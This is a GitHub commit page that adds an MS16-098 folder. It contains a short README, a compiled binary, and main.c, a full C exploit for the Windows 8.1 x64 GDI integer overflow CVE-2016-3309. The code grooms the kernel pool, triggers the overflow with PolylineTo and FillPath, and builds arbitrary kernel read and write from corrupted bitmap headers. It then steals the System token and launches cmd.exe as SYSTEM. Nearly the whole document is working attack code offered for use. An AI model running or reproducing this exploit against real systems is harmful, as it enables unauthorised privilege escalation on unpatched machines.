Skip to content

Commit 3344765

Browse files
committed
MS16-098
1 parent ce3cfa1 commit 3344765

File tree

4 files changed

+323
-0
lines changed

4 files changed

+323
-0
lines changed

MS16-098/README.md

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
# MS16-098
2+
- Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects (CVE-2016-3309)
3+
- The exp was from [@0x5A1F](https://twitter.com/Saif_Sherei)
4+
5+
Vulnerability reference:
6+
* [MS16-098](https://technet.microsoft.com/library/security/ms16-098)
7+
* [CVE-2016-3309](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3309)
8+
9+
## Usage
10+
![win8.1](win8_1.png)
11+
12+
## References
13+
14+
[The previously discussed MS16-098 writeup](https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/)
15+
16+
17+

MS16-098/bfill.exe

547 KB
Binary file not shown.

MS16-098/main.c

+306
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,306 @@
1+
#include <Windows.h>
2+
#include <wingdi.h>
3+
#include <stdio.h>
4+
#include <winddi.h>
5+
#include <time.h>
6+
#include <stdlib.h>
7+
#include <Psapi.h>
8+
9+
HANDLE hWorker, hManager;
10+
BYTE *bits;
11+
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
12+
typedef struct
13+
{
14+
DWORD UniqueProcessIdOffset;
15+
DWORD TokenOffset;
16+
} VersionSpecificConfig;
17+
18+
VersionSpecificConfig gConfig = { 0x2e0, 0x348 }; //win 8.1
19+
20+
21+
void AllocateClipBoard2(unsigned int size) {
22+
BYTE *buffer;
23+
buffer = malloc(size);
24+
memset(buffer, 0x41, size);
25+
buffer[size - 1] = 0x00;
26+
const size_t len = size;
27+
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len);
28+
memcpy(GlobalLock(hMem), buffer, len);
29+
GlobalUnlock(hMem);
30+
//OpenClipboard(0);
31+
//EmptyClipboard();
32+
SetClipboardData(CF_TEXT, hMem);
33+
//CloseClipboard();
34+
//GlobalFree(hMem);
35+
}
36+
37+
38+
39+
40+
static HBITMAP bitmaps[5000];
41+
42+
void fungshuei() {
43+
HBITMAP bmp;
44+
// Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page.
45+
for (int k = 0; k < 5000; k++) {
46+
//bmp = CreateBitmap(1685, 2, 1, 8, NULL); //800 = 0x8b0 820 = 0x8e0 1730 = 0x1000 1700 = 0xfc0 1670 = 0xf70
47+
bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1680 = 0xf80 1685 = 0xf90 allocation size 0xfa0
48+
bitmaps[k] = bmp;
49+
}
50+
51+
HACCEL hAccel, hAccel2;
52+
LPACCEL lpAccel;
53+
// Initial setup for pool fengshui.
54+
lpAccel = (LPACCEL)malloc(sizeof(ACCEL));
55+
SecureZeroMemory(lpAccel, sizeof(ACCEL));
56+
// Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page.
57+
HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
58+
HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000);
59+
for (INT i = 0; i < 7000; i++) {
60+
hAccel = CreateAcceleratorTableA(lpAccel, 1);
61+
hAccel2 = CreateAcceleratorTableW(lpAccel, 1);
62+
pAccels[i] = hAccel;
63+
pAccels2[i] = hAccel2;
64+
}
65+
// Delete the allocated bitmaps to free space at beiginig of pages
66+
for (int k = 0; k < 5000; k++) {
67+
DeleteObject(bitmaps[k]);
68+
}
69+
//allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory.
70+
for (int k = 0; k < 5000; k++) {
71+
CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0
72+
}
73+
// Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated
74+
for (int k = 0; k < 5000; k++) {
75+
bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0
76+
bitmaps[k] = bmp;
77+
}
78+
// Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60
79+
for (int k = 0; k < 1700; k++) { //1500
80+
AllocateClipBoard2(0x30);
81+
}
82+
// delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray.
83+
for (int k = 2000; k < 4000; k++) {
84+
DestroyAcceleratorTable(pAccels[k]);
85+
DestroyAcceleratorTable(pAccels2[k]);
86+
}
87+
88+
}
89+
90+
void SetAddress(BYTE* address) {
91+
for (int i = 0; i < sizeof(address); i++) {
92+
bits[0xdf0 + i] = address[i];
93+
}
94+
SetBitmapBits(hManager, 0x1000, bits);
95+
}
96+
void WriteToAddress(BYTE* data) {
97+
SetBitmapBits(hWorker, sizeof(data), data);
98+
}
99+
100+
LONG ReadFromAddress(ULONG64 src, BYTE* dst, DWORD len) {
101+
SetAddress((BYTE *)&src);
102+
return GetBitmapBits(hWorker, len, dst);
103+
}
104+
105+
// Get base of ntoskrnl.exe
106+
ULONG64 GetNTOsBase()
107+
{
108+
ULONG64 Bases[0x1000];
109+
DWORD needed = 0;
110+
ULONG64 krnlbase = 0;
111+
if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
112+
krnlbase = Bases[0];
113+
}
114+
return krnlbase;
115+
}
116+
117+
// Get EPROCESS for System process
118+
ULONG64 PsInitialSystemProcess()
119+
{
120+
// load ntoskrnl.exe
121+
122+
ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe");
123+
// get address of exported PsInitialSystemProcess variable
124+
ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
125+
FreeLibrary((HMODULE)ntos);
126+
ULONG64 res = 0;
127+
ULONG64 ntOsBase = GetNTOsBase();
128+
// subtract addr from ntos to get PsInitialSystemProcess offset from base
129+
if (ntOsBase) {
130+
ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64));
131+
}
132+
return res;
133+
}
134+
135+
// Get EPROCESS for current process
136+
ULONG64 PsGetCurrentProcess()
137+
{
138+
ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS
139+
140+
// walk ActiveProcessLinks until we find our Pid
141+
LIST_ENTRY ActiveProcessLinks;
142+
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
143+
144+
ULONG64 res = 0;
145+
146+
while (TRUE) {
147+
ULONG64 UniqueProcessId = 0;
148+
149+
// adjust EPROCESS pointer for next entry
150+
pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64);
151+
// get pid
152+
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64));
153+
// is this our pid?
154+
if (GetCurrentProcessId() == UniqueProcessId) {
155+
res = pEPROCESS;
156+
break;
157+
}
158+
// get next entry
159+
ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY));
160+
// if next same as last, we reached the end
161+
if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64))
162+
break;
163+
}
164+
return res;
165+
}
166+
167+
void main(int argc, char* argv[]) {
168+
HDC hdc = GetDC(NULL);
169+
HDC hMemDC = CreateCompatibleDC(hdc);
170+
HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL);
171+
HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap);
172+
173+
static POINT points[0x3fe01];
174+
175+
for (int l = 0; l < 0x3FE00; l++) {
176+
points[l].x = 0x5a1f;
177+
points[l].y = 0x5a1f;
178+
}
179+
points[2].y = 20;
180+
points[0x3FE00].x = 0x4a1f;
181+
points[0x3FE00].y = 0x6a1f;
182+
183+
if (!BeginPath(hMemDC)) {
184+
fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError());
185+
}
186+
187+
for (int j = 0; j < 0x156; j++) {
188+
if (j > 0x1F && points[2].y != 0x5a1f) {
189+
points[2].y = 0x5a1f;
190+
}
191+
if (!PolylineTo(hMemDC, points, 0x3FE01)) {
192+
fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError());
193+
}
194+
}
195+
196+
EndPath(hMemDC);
197+
//Kernel Pool Fung=Shuei
198+
fungshuei();
199+
//getchar();
200+
201+
fprintf(stdout, "[+] Trigerring Exploit.\r\n");
202+
if (!FillPath(hMemDC)) {
203+
fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError());
204+
}
205+
printf("%s\r\n", "Done filling.");
206+
207+
HRESULT res;
208+
VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
209+
if (!fake) {
210+
fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError());
211+
}
212+
memset(fake, 0x1, 0x100);
213+
214+
bits = malloc(0x1000);
215+
memset(bits, 0x42, 0x1000);
216+
for (int k=0; k < 5000; k++) {
217+
218+
res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1
219+
if (res > 0x150) {
220+
fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k);
221+
hManager = bitmaps[k];
222+
hWorker = bitmaps[k + 1];
223+
224+
// Get Gh05 header to fix overflown header.
225+
static BYTE Gh04[0x9];
226+
fprintf(stdout, "\r\nGh04 header:\r\n");
227+
for (int i = 0; i < 0x10; i++){
228+
Gh04[i] = bits[0x1d0 + i];
229+
fprintf(stdout, "%02x", bits[0x1d0 + i]);
230+
}
231+
232+
// Get Gh05 header to fix overflown header.
233+
static BYTE Gh05[0x9];
234+
fprintf(stdout, "\r\nGh05 header:\r\n");
235+
for (int i = 0; i < 0x10; i++) {
236+
Gh05[i] = bits[0xd90 + i];
237+
fprintf(stdout, "%02x", bits[0xd90 + i]);
238+
}
239+
240+
// Address of Overflown Gh04 object header
241+
static BYTE addr1[0x7];
242+
fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n");
243+
for (int j = 0; j < 0x8; j++) {
244+
addr1[j] = bits[0x210 + j];
245+
fprintf(stdout, "%02x", bits[0x210 + j]);
246+
}
247+
//Get pvscan0 address of second Gh05 object
248+
static BYTE* pvscan[0x07];
249+
fprintf(stdout, "\r\nPvsca0:\r\n");
250+
for (int i = 0; i < 0x8; i++) {
251+
pvscan[i] = bits[0xdf0 + i];
252+
fprintf(stdout, "%02x", bits[0xdf0 + i]);
253+
}
254+
255+
// Calculate address to overflown Gh04 object header.
256+
addr1[0x0] = 0;
257+
int u = addr1[0x1];
258+
u = u - 0x10;
259+
addr1[1] = u;
260+
261+
//Fix overflown Gh04 object Header
262+
SetAddress(addr1);
263+
WriteToAddress(Gh04);
264+
265+
// Calculate address to overflown Gh05 object header.
266+
addr1[0] = 0xc0;
267+
int y = addr1[1];
268+
y = y + 0xb;
269+
addr1[1] = y;
270+
271+
//Fix overflown Gh05 object Header
272+
SetAddress(addr1);
273+
WriteToAddress(Gh05);
274+
275+
// get System EPROCESS
276+
ULONG64 SystemEPROCESS = PsInitialSystemProcess();
277+
//fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS);
278+
ULONG64 CurrentEPROCESS = PsGetCurrentProcess();
279+
//fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS);
280+
ULONG64 SystemToken = 0;
281+
// read token from system process
282+
ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8);
283+
// write token to current process
284+
ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset;
285+
SetAddress((BYTE *)&CurProccessAddr);
286+
287+
WriteToAddress((BYTE *)&SystemToken);
288+
// Done and done. We're System :)
289+
system("cmd.exe");
290+
291+
break;
292+
}
293+
if (res == 0) {
294+
fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError());
295+
}
296+
}
297+
getchar();
298+
//clean up
299+
DeleteObject(bitobj);
300+
DeleteObject(bitmap);
301+
DeleteDC(hMemDC);
302+
ReleaseDC(NULL, hdc);
303+
VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE);
304+
//free(points);
305+
306+
}

MS16-098/win8_1.png

40.1 KB
Loading

0 commit comments

Comments
 (0)